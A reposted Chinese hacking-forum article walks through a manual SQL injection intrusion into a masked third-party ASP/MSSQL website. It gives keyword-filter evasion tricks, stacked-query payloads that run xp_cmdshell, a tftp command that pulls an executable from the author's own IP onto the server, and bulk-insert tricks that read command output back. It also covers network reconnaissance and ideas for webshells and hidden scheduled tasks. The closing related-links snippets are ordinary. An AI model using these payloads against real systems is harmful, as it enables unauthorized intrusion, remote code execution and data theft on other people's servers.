`

转载--sql注入

阅读更多
http://subject.csdn.net/SQL-I/
http://www.hackbase.com/tech/special/2008-01/11.html

默认是:
  http://www.xxx.com/shownotice.asp?id=78 and 1=1
  实际上用%09  %0A  %0D  +都可以替代空格
  例如:
  http://www.xxx.com/shownotice.asp?id=78%09and%091=1
  http://www.xxx.com/shownotice.asp?id=78%0Aand%0A1=1
  http://www.xxx.com/shownotice.asp?id=78%0Dand%0D1=1
  http://www.xxx.com/shownotice.asp?id=78%+and+1=1
  以下可以在SQLServer2000下可以替换%01到%20都可以
  http://www.xxx.com/shownotice.asp?id=78%19and%191=1



SQL注入中的错误分析及渗透技术

2008-10-08 09:09:19  www.hackbase.com  来源:互联网
简介:本文主要讲了在SQL注入过程中遇到一些特殊问题时的一些思考及处理思路,其中涉及了一些手工注入的语法及渗透思维,谨以此文献给那些刚刚起步的菜鸟朋友们,我也是刚刚起步,掌握了一些技术,希望将掌握的技术写 ...
简介:本文主要讲了在SQL注入过程中遇到一些特殊问题时的一些思考及处理思路,其中涉及了一些手工注入的语法及渗透思维,谨以此文献给那些刚刚起步的菜鸟朋友们,我也是刚刚起步,掌握了一些技术,希望将掌握的技术写出来与大家共享、共同学习、共同提高。
   普遍的判断注入的方法相信大家都已经掌握了,无非就是加单引号,加and 1=1 and 1=2之类的。是的这个的确是判断注入的方法,但知道这些对于渗透入侵还是远远不够的。我今天引用的这个例子可以通过这种方法判断为存在注入漏洞,但是用工具却注入不了。我们今天将采用的是手工注入的方法,在注入过程中对随时遇到的错误信息进行分析及判断。
   例子: http://www.*****.com/zhuanti/zt.asp?id=34
加单引号,返回错误
加and 1=1 返回正常
加and 1=2 返回错误
好了,先用工具注入一下,看结果。
如图1:
   从中可以看出当前连接用户名、库名、权限是SA,比较大。我们在看一下是否可执行命令,打开NBSI的命令工具,列C盘看下,结果显示什么也没有,再列目录看下,结果还是一样,空空如也。
如图2:
   到这里可能绝大多数初学的朋友就要被难住了,难道真的没有办法了吗?有的!!当然有,因为这个注入点过滤了一些关键字,所以用工具就无能为力了,不过转换一下这些关键字的大小写即可成功注入,下面说说手工注入该站的详细步骤。

   入侵思路:既然注入点权限是SA,那么首先考虑的就是执行命令,加用户,3389登录,如果没有3389开放的话,那就试试用命令执行一些上传操作,例如:HTTP上传、FTP上传、TFTP上传等等。上传一些木马程序然后运行。如果不可以执行命令,那么还可以查查WEB主目录,利用差异备份或者LOG备份得到一个WEBSHELL,然后再恢复命令执行,上传木马并运行。

   以上面这个注入点为例,首先怎样判断注入点是否可执行命令。大家都知道工具注入是不行的了,那么手工该如何判断这个注入点是否能执行命令呢?我们可以先建一个表,然后执行一下XP_CMDSHELL存储过程在C盘上建个目录,再用xp_subdirs存储过程读C盘下的子目录进表中,再利用暴表的注入语句将表内容读出,这样我们就知道目录是否创建成功,如果成功说明可执行命令。注入语句如下:

(1)http://www.*****.com/zhuanti/zt.asp?id=34;Create table temp(id nvarchAr(255),num1 nvarchAr(255),num2 nvarchAr(255),num3 nvarchAr(255));--
(2)http://www.*****.com/zhuanti/zt.asp?id=34;eXec master.dbo.xp_cmDshell 'md c:cxd'--
(3)http://www.*****.com/zhuanti/zt.asp?id=34;Insert into temp(id) eXec master.dbo.xp_subdirs 'c:';--
(4)http://www.*****.com/zhuanti/zt.asp?id=34 and (Select top 1 id from temp)>0--
(5)http://www.*****.com/zhuanti/zt.asp?id=34 and (Select id from (Select top 1 * from (Select top 2 * from temp order by 1) T order by 1 desc)S)>0--
(6)http://www.*****.com/zhuanti/zt.asp?id=34 and (Select id from (Select top 1 * from (Select top x * from temp order by 1) T order by 1 desc)S)>0--

   可是在执行第一条语句是出现了错误,一般正常的注入点执行这个建表命令是不会出错的,但是这个注入点出错了,如图3:

提示信息为:数据库中已存在名为temp的对象.
疑问1:难道是这个库中以前就有temp表,那好吧,我们先把以前的表删除.语句如下:
http://www.*****.com/zhuanti/zt.asp?id=34;Drop table temp--
可这次又出错了,提示:无法除去,表不存在.这就怪事了,刚才建表是重复建表,出错..现在删表又不存在了?搞得人一头雾水...再试,建个temp1表,提示如故:数据库中已存在名为temp1的对象。
疑问2:难道是数据库跟我们捉迷藏,我们建哪个表删哪个表,它就事先知道,先我一步把它搞定了?不太可能呀,数据库还达不到这样的智能程度。想来想去,那只有一种可能:那就是我们提交一句注入语句被执行了多次,当第一次执行成功后,后面的再执行当然就会出现重复建表、重复删表的错误了。只是一时还得不到验证。既然建表已经成功,那我们就依次提交第(2)至第(4)条语句,暴出表temp第一条记录ID列的内容:cxd   呵呵,正是我所希望的,c盘上存在一个名为cxd的目录,说明此注入点可执行命令。接着再来暴表temp第二条记录的内容,提交第(5)句,得到内容还是:cxd,再提交:
http://www.*****.com/zhuanti/zt.asp?id=34 and (Select id from (Select top 1 * from (Select top 3 * from temp order by 1) T order by 1 desc)S)>0--
暴第三条记录的内容,还是cxd,接着,继续。。
http://www.*****.com/zhuanti/zt.asp?id=34 and (Select id from (Select top 1 * from (Select top x * from temp order by 1) T order by 1 desc)S)>0--
把X 的位置依次换成4 5 6 7 8,换成4时,暴出内容为:cxd 换成5时,暴出内容为:Documents and Settings 呵呵,原来第1至4条记录是相同的,第5至8是相同的。现在终于验证了我当前的推断,同一条语句被执行了4次,导致执行一句插入语句,产生了四条记录。这就是上面建表提示出错的原因,所以任何返回信息只是一种参考信息,它并不一定就是对了,或许会带有一些迷惑性,我们在注入时要分清楚,哪些是真实的返回,哪些是虚假的。

好了,知道这个注入点可执行命令了,下一步当然是用扫描器扫端口了,看是否开3389,扫描结果如下:只开了21 80端口,看来加用户3389登录是没戏了,那就试试TFTP上传吧,注入语句如下:
http://www.*****.com/zhuanti/zt.asp?id=34;eXec master.dbo.xp_cmDshell 'tftp -i 221.121.125.20 get ps.exe c:ps.exe'--
说明一下:221.121.125.20是我自己电脑的外网IP,tftp -i 221.121.125.20 get ps.exe c:ps.exe是从我的电脑上下载ps.exe保存在它的C盘根目录下。在提交前,先在本机上运行一下tftpd32.exe,这个程序网上有,大家可以自己搜索一下。图形界面的程序,大家一看就会用了,如图4:
           
点提交后,TFTPD32的窗口一点反应都没有,如果有机器连接进来并且下载东东的话,TFTPD32窗口会显示对方的IP及下载的文件名,没反应,可能是 MSSQL服务器在内网不能上互联网或者被防火墙拦截了。好了,既然我们有执行命令的权限,那我们怎样进一步判断它的MSSQL数据库是在内网还是外网或者安装了什么杀毒软件,什么防火墙呢?还或者其它一些你所感兴趣的东东呢?[next]
   入侵思路:利用xp_cmdshell存储过程执行一些命令保存结果到磁盘上,然后利用bulk insert语句将这个文件读入表中,然后利用注入语句将表内容暴出来,我们就知道了命令执行的结果了.
(1)http://www.*****.com/zhuanti/zt.asp?id=34;eXec master.dbo.xp_cmDshell 'ipconfig /all c:cxd.txt'--
说明一下:利用xp_cmdshell执行命令:ipconfig /all并将结果保存到c:cxd.txt中.
(2)http://www.*****.com/zhuanti/zt.asp?id=34;Create table foo(line varchar(8000))--
(3)http://www.*****.com/zhuanti/zt.asp?id=34;bulk iNsert foo from 'c:cxd.txt'--
说明一下:bulk insert将文本文件c:cxd.txt读入表foo中.
(4)http://www.*****.com/zhuanti/zt.asp?id=34 and (sElect top 1 line from foo)>0--
暴表foo第1条记录内容
(5)http://www.*****.com/zhuanti/zt.asp?id=34 and (sElect line from (sElect top 1 * from (sElect top 5 * from foo order by 1) T order by 1 desc)S)>0--
暴第5条记录内容,也就是c:cxd.txt第二行内容,前面说过了,每隔4条记录为一组.呵呵...
依次类推,把所有内容都暴出来...省略若干.....

结果如图5:
从中可看出这台机器在内网,
IP地址是:
IP Address. . . . . . . . . . . . : 192.168.0.123
IP Address. . . . . . . . . . . . : 192.168.0.7
网关是:
Default Gateway . . . . . . . . . : 192.168.0.1
内网的机器就比较棘手了。不知道它能不能访问互联网。
我们可以在这台机器上运行一下ping www.tom.com看返回情况,注入语句如下:
(1)http://www.*****.com/zhuanti/zt.asp?id=34;eXec master.dbo.xp_cmDshell 'ping www.tom.com>c:cxd.txt'--
(2)http://www.*****.com/zhuanti/zt.asp?id=34;dElete from foo--   清空表内容
(3)http://www.*****.com/zhuanti/zt.asp?id=34;bulk iNsert foo from 'c:cxd.txt'--
(4)http://www.*****.com/zhuanti/zt.asp?id=34 and (sElect line from (sElect top 1 * from (sElect   top X * from foo order by 1) T order by 1 desc)S)>0--
把X依次换成1 5 9 13 17 21 25 29 。。。。省略N多,暴出内容来,返回如下:
Ping request could not find host www.tom.com. Please check the name and try again.
再试下直接ping IP的方法
(1)http://www.*****.com/zhuanti/zt.asp?id=34;eXec master.dbo.xp_cmDshell 'ping 202.108.12.68>c:cxd.txt'--
(2)http://www.*****.com/zhuanti/zt.asp?id=34;dElete from foo--   清空表内容
(3)http://www.*****.com/zhuanti/zt.asp?id=34;bulk iNsert foo from 'c:cxd.txt'--
(4)http://www.*****.com/zhuanti/zt.asp?id=34 and (sElect line from (sElect top 1 * from (sElect top X * from foo order by 1) T order by 1 desc)S)>0--
X依次换成1 5 9 13 17 21 25 29 33
返回:Packets: Sent = 4, Received = 0, Lost = 4 (100% loss) 丢包是100%,完全ping不通互联网,看来这台内网的MSSQL服务器是没有连接互联网的,那我们的入侵就到此止了吗?不。。我们还可以进一步进行渗透,也许就能找到些突破口呢!

渗透思路:用xp_cmdshell执行netstat -an查看端口情况,看有没有什么特殊端口开放,执行net start查看一下有没有特殊服务,查一下服务器操作系统版本,写进启动目录下载脚本或者用schtasks建隐藏任务,每隔一定时间执行一些操作。

先看一下端口吧,注入语句:
(1)http://www.*****.com/zhuanti/zt.asp?id=34;drop TABLE D99_CMD;Create TABLE D99_CMD([Data][varchAr](1000),ID int NOT NULL IDENTITY (1,1));Insert D99_CMD eXec master.dbo.xp_Cmdshell 'netstat -an;--
(2)http://www.*****.com/zhuanti/zt.asp?id=34 And (Select Top 1 chAr(124)%2Bdata%2BchAr(124) From (Select Top x [ID],[Data] From D99_CMD Order by [ID]) T Order by [ID] desc)>0--
X依次换成1 2 3 4 5 6 7 8 9......就可以暴出它的端口连接情况。其它端口都比较正常,只是有一个端口比较陌生,8389端口。

如图6:
和3389只有一字之差,会不会是它开的终端服务呢?打开远程桌面连接,键入IP:8389,成功出现了远程终端的登录界界,呵呵。。。原来远程终端改端口了。

接着再来执行前面的那个注入语句,看一下服务器连接情况,并没有看到我的IP连接到它的8389端口。说明我连接的IP并不是这台内网机器。唉。。。或许可以直接从网站入手试试上传,进后台什么的?我就不试了,就像ET所说的玩黑考的就是耐心与心机,只要大家认真学,认真体会,就能掌握里面的奥妙,入侵渗透需要掌握方方面面的大量知识,并且还需要大家能够灵活运用,多动手多动脑,本文只是初步涉及,许多不足之处还请大家批评指正。
分享到:
评论

相关推荐

    如何防止sql注入【转载】

    SQL 注入防止方法 SQL 注入是一种常见的攻击手法,攻击者可以通过在输入数据中注入恶意的 SQL 代码,从而获取数据库的敏感信息或控制数据库。为了防止 SQL 注入,需要从多方面入手,包括使用预编译语句、正则表达式...

    SQL注入方法论-转载的希望对大家有帮助

    转载的一个关于SQL注入的文章,希望对大家有帮助

    SQL-Injection-Cheat-Sheet-Chinese-Ver.:翻译SQL注入备忘单(http

    关于SQL注入速查表 现在仅支持MySQL、Microsoft SQL Server,以及一部分ORACLE和PostgreSQL。大部分样例都不能保证每一个场景都适用。现实场景由于各种插入语、不同的代码环境以及各种不常见甚至奇特SQL语句

    给力论坛源码 标注:用iis访问就会有样式

    14 动态改变表名,防止Sql注入,Cookies,Sessions 也采用动态注入机会. 15 增加会员删除,放回收站 16 DotBBS.config与Web.config合并 17 更换编辑器,能比较好的兼容浏览器,上传文件能以自动重命名 18 Sql...

    JAVA数据库连接大全-转载

    `Statement`用于执行静态SQL,而`PreparedStatement`用于预编译的SQL,提高性能并防止SQL注入。 5. **结果集处理**: SQL查询的结果会返回一个`ResultSet`对象,可以通过迭代遍历获取数据。 6. **关闭资源**: ...

    SQL注入小技巧:利用子查询忽略字段名

    之前转载了一篇 Access移位溢注技术(已知表名,不知列名) 网上找了个案例,但是使用这种办法还是失败,无奈继续查找资料,于是有了这篇文章。。  适用情况同上篇文章,知道表名,不知道字段名。这种方法适用起来...

    最好的asp CMS系统科讯CMSV7.0全功能SQL商业版,KesionCMS V7.0最新商业全能版-免费下载

    支持后台访问目录更名、Cookie加密、验证码、认证码、IP锁定、IP白名单、防SQL注入、防跨站脚本、防脚本文件上传等多重安全机制,并且后台支持按频道和模块严格控制访问权限,为网站的安全运营提供最强有力的保障。...

    jdbc与hibernate的优缺点比较(转载的精髓).pdf

    - **易出错**:手动处理SQL可能导致SQL注入等安全问题,同时也容易出现语法错误。 - **不便于移植**:SQL语法与不同的数据库系统有关,更换数据库可能需要大量修改代码。 5. **Entity Bean**(EJB)在上述比较中...

    SSM整合,参考尚硅谷视频,转载笔记,非原创,侵权删

    MyBatis是一个轻量级的持久层框架,它简化了SQL操作,将SQL与Java代码分离。MyBatis允许开发者编写SQL语句,然后通过XML或注解方式将其绑定到Java接口方法上,实现了数据访问的灵活和高效。 **4. SSM整合步骤** - *...

    [转载] JDBC+Servlet+JSP整合开发之-JSP项目实战

    9. **最佳实践**:学习良好的编程习惯,如使用PreparedStatement防止SQL注入,释放数据库连接,避免内存泄漏等。 这个实战项目对于初学者来说是一个很好的练习,可以帮助他们更好地理解和掌握Web开发的基本流程,...

    Java面试资料大集合

    - **Spring框架**:依赖注入(DI)、AOP、事务管理等核心概念。 - **MyBatis**:持久层框架,动态SQL和映射文件的使用。 - **Maven或Gradle**:构建工具的使用和配置。 9. **数据库** - **SQL语句**:增删改查...

    【转载】NET平台下的架构开发(最全的).docx

    6. **依赖注入及IoC的设计与实现** - 讨论如何利用依赖注入容器增强代码的灵活性和可测试性。 7. **数据访问层的实现** - 分别介绍三种不同的实现方式:Access+动态生成SQL、SQL Server+存储过程以及基于NBear的ORM...

    jsr168 portlet(struts2+spring2.5+hibernate3.3)(转载)

    【Spring框架】Spring2.5作为依赖注入(DI)和面向切面编程(AOP)的容器,管理着应用程序中的对象及其相互依赖关系。它简化了配置,支持多种数据访问技术,包括JDBC、Hibernate等,并提供了事务管理、安全管理等...

    springmybatis

    其实还有更简单的方法,而且是更好的方法,使用合理描述参数和SQL语句返回值的接口(比如IUserOperation.class),这样现在就可以至此那个更简单,更安全的代码,没有容易发生的字符串文字和转换的错误.下面是详细...

    python3.7 使用pymssql往sqlserver插入数据的方法

    在实际应用中,我们可能需要根据具体的应用场景对SQL语句进行相应的修改,比如插入的字段类型和数量可能会有所不同,或者可能需要使用参数化查询来防止SQL注入等安全问题。此外,对Python代码的编写和数据库的设计都...

    JAVA OA平台源码(转载)SPRING BOOT....

    【标题】:“JAVA OA平台源码(转载)SPRING BOOT...” 这个开源项目是一个基于Java技术的OA(Office Automation)管理系统的源代码实现,利用了Spring Boot框架进行开发。Spring Boot是Spring生态中的一个核心组件...

    thinkPHP5快速入门手册

    - **SQL语句构造**:使用ThinkPHP5.0内置的方法构建复杂的SQL语句。 - **条件表达式**:解释如何使用条件表达式过滤查询结果。 - **排序和分页**:说明如何对查询结果进行排序和分页显示。 - **聚合函数**:介绍如何...

    <转载>ThinkAndroid

    ORM工具如Room可以简化数据库操作,减少手动编写SQL语句的工作量。 5. **网络通信**:框架集成了Retrofit和OkHttp,这两个是Android开发中常用的网络请求库。Retrofit用于创建和调用网络API,OkHttp则提供了高效的...

    dz编码规范(PHP)

    - 使用预处理语句和参数绑定来防止SQL注入等安全漏洞。 ##### 4.7. 兼容性 - 保证代码能在不同的PHP版本中运行。 - 避免使用特定版本特有的功能。 ##### 4.8. 代码重用 - 遵循DRY(Don't Repeat Yourself)原则...

Global site tag (gtag.js) - Google Analytics